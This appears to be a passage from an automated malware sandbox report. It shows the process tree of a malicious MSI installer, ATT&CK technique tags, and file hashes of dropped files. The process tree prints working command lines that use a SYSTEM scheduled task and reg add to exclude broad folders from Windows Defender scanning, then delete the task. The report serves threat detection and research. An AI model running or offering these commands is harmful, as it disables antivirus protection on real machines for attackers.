C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:2892
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C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:2400
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C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:2100
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C:\Windows\system32\cmd.execmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\4OOWUA" /t REG_DWORD /d 0 /f1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1152 -
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\4OOWUA" /t REG_DWORD /d 0 /f2⤵
- Windows security bypass
PID:176
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C:\Windows\system32\cmd.execmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:932 -
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f2⤵
- Windows security bypass
PID:2812
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C:\Windows\system32\cmd.execmd.exe1⤵PID:1280
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C:\Windows\system32\cmd.execmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2688 -
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f2⤵
- Windows security bypass
PID:4504
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C:\Windows\system32\cmd.execmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:820 -
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f2⤵
- Windows security bypass
PID:4080
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C:\Windows\system32\cmd.execmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3288 -
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f2⤵
- Windows security bypass
PID:4324
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Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
1Windows Command Shell
1Scheduled Task/Job
1Scheduled Task
1Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Event Triggered Execution
1Installer Packages
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Event Triggered Execution
1Installer Packages
1Scheduled Task/Job
1Scheduled Task
1Defense Evasion
Impair Defenses
1Disable or Modify Tools
1Indicator Removal
1Clear Persistence
1Modify Registry
2System Binary Proxy Execution
1Msiexec
1Replay Monitor
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Downloads
- Path C:\Config.Msi\e587367.rbs
- Size 7KB
- SHA256 094a706e045eb6a8b1d130f6c3f06f0851c00535fa286b469630d503831f9495
- MD5 52154f6c6473b282ca3d133dc2225bc1
- SHA1 564cb4b35c608d9e193ef8662872ef832338b00f
- SHA512 e40df31080aab02ac29ba4e68f369d12c20703b57a260352fc7b8d2ec1ccc6aa9e96ef03f2d4a44e0e1684d615069c8139e1d3b969611e737dad3e0e1af69add
- SSDEEP 96:l9VB54uu1eybxUUjdD21CsThqK/UjdD21C6jdAsDThqKjHYIK5RPWELEyE/Ywgpv:l9Vn4eMzxD2IIBsxD2ISBIHtI5csKpB
- TLSH T13FF1EE46B20581E2F9976730CF271B263BB3D3E49314630B0ADD94749E4B38D6EA619E
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Public\4OOWUA\FfuWN1.exe
- Size 135KB
- SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
- MD5 9ec587911e501b73b7cf09f05d0ae17d
- SHA1 5b62403cc9a668c6e5c70ace177fd54fcc4c5936
- SHA512 d05468a472373815c46ccb46ec743408365d24982d10d8a23ee0036c28cf3dacd05d74304ef2d4b7118f91ff3f631f676b2e86ddee92a02cf988b0d3c6247847
- SSDEEP 3072:MmhXb5pgtiaRENEErO9Uj4OqhhUvB4BNgQaJ:MmjgtiayGErsUKh3To
- TLSH T1D0D38C2776A474F9E1778635C8511A1AE772B8760770CB9F03A442A62F237D19E3EF20
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Public\4OOWUA\UxEnhance64.dll
- Size 3.1MB
- SHA256 0789f2be6f6a2618e6df30b29135e5d1a39d720c9ec2da25617eeae8bac0526c
- MD5 d456822e4351ff5f7d68f44717fd2b60
- SHA1 54807b80488877bc3ad8874f9647295eca54ffbe
- SHA512 66fd03d24cc7d1ca1a26525d91790f4a910c99ef7cc70d9ff931750da0872bd841e1fb56e9acb8879881b1f334bf4185d23773774ce3ac929f320c9244db4836
- SSDEEP 49152:P9KpI8cBa0kj6BK0x3TiMQclkGo2PXk6rkwuuWG/+WizBedfb77N3SnKrKB+2:P9m29xx3Tiqt06ox6+z2rNNrKo2
- TLSH T14BE523E5B6D739F6D023CBF4DA62A1AD70393F505F635C5F3B8929014E62228973A390
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Public\4OOWUA\adoresd.dat
- Size 4.8MB
- SHA256 e126706e25e5ec1089c66785fbbc6c5211bb8540afe11db94267660f20a01dc3
- MD5 e1b388c580aeaa7c58c3ed1c7f593fe9
- SHA1 4862454e55e7db9159918688c7dc70119166400b
- SHA512 cfb79c8069af1a6f56318c44a58c3059fdad78a12df677692cc60ab5a2a707ea84cdc51dfc1c123d29d54c7b2310e70d2b152ed1334d4e02af9138e2be404b42
- SSDEEP 98304:CuZ630UjjOt6udZuYb7Ad2WAqSFmtNYNF/ltN3fjZgRnXxs:/QDPnORb7AdPEm7Y7ltlVgxs
- TLSH T136363339536D9C62DDC7A0F8A49D4596FF683D60FAE2A006B47C1D213015DFB986FE08
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Public\4OOWUA\msadox.tb
- Size 8KB
- SHA256 8b97eef14d928b51e5281c5b269c7402e645eec276ed3e86a0e3f4cae500dd90
- MD5 6c2373d34f94fe46bdb0583bd90760e1
- SHA1 d5fc5e9754eaf0bdd7a1197ee1b39c3931b295f8
- SHA512 d52c2d9709213076ced591a864902aa5281d31482adb7335489926994f3e75cf37e245e0f9d65e5b45a9ad54960dfed349285c2d811521a9d7680a91e6aebc6b
- SSDEEP 192:/qbZajnZ45X1q3JXglD+3vR8cwNhIMCGe2y0PQp:/sZqZOXQ3uqvR2Kfzp
- TLSH T1C1029E05D7A20CC3D2016C71CD9EB2F5AB13A1DADA3926719C67D4C167072DD2CE620D
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Windows\Installer\MSI74EE.tmp
- Size 5.7MB
- SHA256 f2f0cc6f7b1e3334ca03256781a86ab7c7c728a28de49714dde0e915fa4eb146
- MD5 528e32e0083a77b685012405a91c6492
- SHA1 beb6b6d191c2772b2e10dc17e4ab2416b6810858
- SHA512 8195a58ee3cb5b2d33bff4694aefb266551e45a17acad33ab84133cb5f2b43c854f5fa3791b340b813ff61757d68df07b652857d502d1a726a8eee2a889b891b
- SSDEEP 98304:w6pdCiGJuFw5V4SGWXlgAzCEFO0kJQpAmAzKdN8wMVLS6dYXzIrrrHlG:TdCis4BEoZJLm4Kv8wWGzerI
- TLSH T14A5633D139C66F70D1A3CBF4665A391D3CAE3BD5B9728C0A67D43A00AE73615DA32309
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Windows\Installer\e587366.msi
- Size 5.7MB
- SHA256 d434d746e43c498723eee3f0dfdd799524bd75103447e8d082e0db98825dfa9c
- MD5 ad1f3655dc343383d72a5c563885533a
- SHA1 1cd542eb4c760ebf44df10f70366c7dfc2492cf8
- SHA512 b2e286c0362075baad3f829b800614044be0d525d40585c731fb3406c3ec7bda95c5a3f1783c91dddc095c28bd46be9a2223de54f465a14e878de97e1d91fa07
- SSDEEP 98304:F6pdCiGJuFw5V4SGWXlgAzCEFO0kJQpAmAzKdN8wMVL66dYXzIrrrHlw:8dCis4BEoZJLm4Kv8w+Gzeri
- TLSH T17C5633D179C66F70D0A3CBF4561A6A1D3DAE3FD5B972CC0A67D43A006E32625DA32309
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path \??\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\System Volume Information\SPP\metadata-2
- Size 24.1MB
- SHA256 09ae85b4e335c712167df9ccaf48f4e1a0e9cc7f2d22f29ab7203392d2203226
- MD5 cbd36378977a6ec98b07356ac8aeda80
- SHA1 97616e02bb2e2c1d827ec5b4afaccc04e4b7854f
- SHA512 509a2650858eaedcc4ab418b4fd4c05a79c9844e386a298d90847b9e47d5afefeb5c6dfbc78ec8bad40e7e0afe42decb8ba4ed3ea421fab9e3f096ab7219faca
- SSDEEP 24576:tu8m+1z/doO/vvTLbWzuGWKHiakzLlzi/FW9R8iF7kaiu0qOIPlqr1YRG:1
- TLSH T1FE47D42832F92210E7F79F3C68F0AA2749397D579C19DE8D45411F4E0921BB1E8B2F5A
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path \??\Volume{73216430-0000-0000-0000-d01200000000}\System Volume Information\SPP\OnlineMetadataCache\{53c85927-7fbf-4cda-a6d1-f29050cedaa4}_OnDiskSnapshotProp
- Size 6KB
- SHA256 ae45463d6e1e2e93f78a1830c28ae10f474abaa5559d2fe954435a6064b7e488
- MD5 2dbd53522ca844258f39274f15566688
- SHA1 3228fa210c607751f3fedbbcec8d0c73deb3edd0
- SHA512 c9fffd564aea45cb5393e0284145779e3555dfc6fe3ad77bf42ca8d236f7f2f17bf2336f633ea58db74499ffeb2ed29007895a570890e7e042c1e4ea88fdd9ce
- SSDEEP 96:FeDEhdRJyvc8DD84LTHzbOHXOHBlBRQ88Sc9XE56tOSVQpu:kEvJIb++ZVm
- TLSH T1D1D19A085AF54711E2B3AB3129F18557A877B911EF33CB8E0298238E6670910F976F5F
- MD5 SHA1 SHA512 SSDEEP TLSH